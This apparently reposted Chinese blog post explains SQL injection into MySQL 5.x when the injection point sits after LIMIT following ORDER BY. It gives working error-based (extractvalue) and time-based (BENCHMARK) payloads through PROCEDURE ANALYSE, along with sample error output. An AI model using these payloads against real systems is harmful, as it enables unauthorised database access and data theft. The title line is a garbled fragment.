sql 语句 for itl 测试 14.04 images ubun res
描写 sql 注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景。
细节
在一次测试中,我碰到了一个 sql 注入的问题,在网上没有搜到解决办法,当时的注入点是在 limit 关键字后面,数据库是 MySQL5.x,SQL 语句类似下面这样:
- SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】
问题的关键在于,语句中有 order by 关键字,我们知道,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以顺利的使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字,这个问题在 stackoverflow 上和 sla.ckers 上都有讨论,但是都没有什么有效的解决办法。
我们先看看 mysql 5.x 的文档中的 select 的语法:
- SELECT
- [ALL | DISTINCT | DISTINCTROW ]
- [HIGH_PRIORITY]
- [STRAIGHT_JOIN]
- [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
- [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
- select_expr [, select_expr ...]
- [FROM table_references
- [WHERE where_condition]
- [GROUP BY {col_name | expr | position}
- [ASC | DESC], ...[WITH ROLLUP]]
- [HAVING where_condition]
- [ORDER BY {col_name | expr | position}
- [ASC | DESC], ...]
- [LIMIT {[offset,]row_count| row_count OFFSET offset}]
- [PROCEDURE procedure_name(argument_list)]
- [INTO OUTFILE 'file_name' export_options
- | INTO DUMPFILE 'file_name'
- | INTO var_name [, var_name]]
- [FOR UPDATE | LOCK IN SHARE MODE]]
limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字. MySQL 默认可用的存储过程只有 ANALYSE (doc)。
尝试用这个存储过程:
- mysql > SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,
- 1 PROCEDURE ANALYSE(1);
- ERROR 1386(HY000) : Can't use ORDER clause with this procedure
ANALYSE 支持两个参数,试试两个参数:
- mysql> SELECTfieldFROM table whereid> 0 ORDER BYid LIMIT1,1 PROCEDUREANALYSE(1,1);
- ERROR 1386(HY000): Can't use ORDER clause with this procedure
- 依然无效,尝试在 ANALYSE 中插入 sql 语句:
- mysql > SELECT field from table where id > 0 order by id LIMIT 1,
- 1 procedure analyse((select IF(MID(version(), 1, 1) LIKE 5, sleep(5), 1)), 1);
响应如下:
- ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
事实证明,sleep 没有被执行,最终,我尝试了如下 payload :
- mysql > SELECT field FROM user WHERE id > 0 ORDER BY id LIMIT 1,
- 1 procedure analyse(extractvalue(rand(), concat(0x3a, version())), 1);
- ERROR 1105(HY000) : XPATH syntax error: ': 5.5.41 - 0ubuntu0.14.04.1'
啊哈,上面的方法就是常见的报错注入,所以,如果注入点支持报错,那所有问题都 ok,但是如果注入点不是报错的,还可以使用 time-based 的注入,payload 如下:
- SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,
- 1 PROCEDURE analyse((select extractvalue(rand(), concat(0x3a, (IF(MID(version(), 1, 1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1)
有意思的是,这里不能用 sleep 而只能用 BENCHMARK。
Mysql 注入点在 limit 关键字后面的利用方法
来源: http://www.bubuko.com/infodetail-2041114.html